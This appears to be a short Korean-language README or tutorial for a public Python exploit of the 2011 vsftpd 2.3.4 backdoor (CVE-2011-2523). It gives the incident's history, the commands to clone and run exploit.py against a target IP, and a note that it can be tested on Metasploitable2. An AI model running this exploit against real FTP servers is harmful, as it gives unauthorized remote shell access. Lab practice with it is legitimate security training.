
vsftpd 2.3.4용 Python 익스플로잇 - 백도어 명령 실행
Very Secure FTP Daemon을 뜻하는 vsftpd는 리눅스를 포함한 유닉스 계열 시스템용 FTP 서버입니다. GNU 일반 공중 사용 허가서(GNU General Public License)로 배포됩니다. IPv6 및 SSL을 지원합니다.
2011년 7월, 공식 사이트에서 다운로드 가능한 vsftpd 버전 2.3.4가 손상된 것으로 밝혀졌습니다. 손상된 vsftpd-2.3.4 서버에 로그인하는 사용자는 사용자 이름으로 :) 스마일리 이모티콘을 입력하면 포트 6200에서 명령 셸을 얻을 수 있었습니다. 이는 vsftpd의 보안 취약점이 아니라, 누군가 백도어가 포함된 다른 버전의 vsftpd를 업로드했기 때문입니다. 이후 사이트는 Google App Engine으로 이전되었습니다.
sudo apt update
sudo apt install python3
sudo apt install python3-pip
pip install argparse
git clone https://github.com/padsalatushal/CVE-2011-2523.git
cd ./CVE-2011-2523
chmod +x exploit.py
python3 exploit.py -host 대상_IP
예시: python3 exploit.py -host 192.168.168.128

Metasploitable2에서 익스플로잇을 테스트할 수 있습니다.